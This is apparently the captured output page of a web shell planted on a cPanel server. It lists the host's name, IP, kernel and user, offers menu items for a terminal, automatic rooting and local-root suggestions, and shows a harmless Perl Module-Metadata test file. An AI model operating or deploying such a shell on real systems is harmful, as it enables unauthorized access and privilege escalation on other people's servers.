Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Module-Metadata /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
lib
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
contains_pod.t
960
B
-r--r--r--
2015-01-11 15:07
encoding.t
774
B
-r--r--r--
2014-12-27 11:49
endpod.t
338
B
-r--r--r--
2014-12-27 11:49
metadata.t
18.68
KB
-r--r--r--
2015-01-11 15:08
taint.t
747
B
-r--r--r--
2014-12-27 11:49
version.t
300
B
-r--r--r--
2015-01-11 15:09
Save
Rename
#!perl use strict; use warnings; use File::Spec; use Test::More; use Module::Metadata; if ("$]" < 5.008_003) { plan skip_all => 'Encoding test needs at least perl 5.8.3'; } my %versions = ( UTF8 => 3, UTF16BE => 4, UTF16LE => 5, ); plan tests => 4 * scalar(keys %versions); for my $enc (sort keys %versions) { my $pkg = "BOMTest::$enc"; my $vers = $versions{$enc}; my $pm = File::Spec->catfile(qw<t lib BOMTest> => "$enc.pm"); my $info = Module::Metadata->new_from_file($pm); is( $info->name, $pkg, "$enc: default package was found" ); is( $info->version, $vers, "$enc: version for default package" ); is( $info->version('Heart'), '1', 'version for ASCII package' ); is( $info->version("C\x{153}ur"), '2', 'version for Unicode package' ); }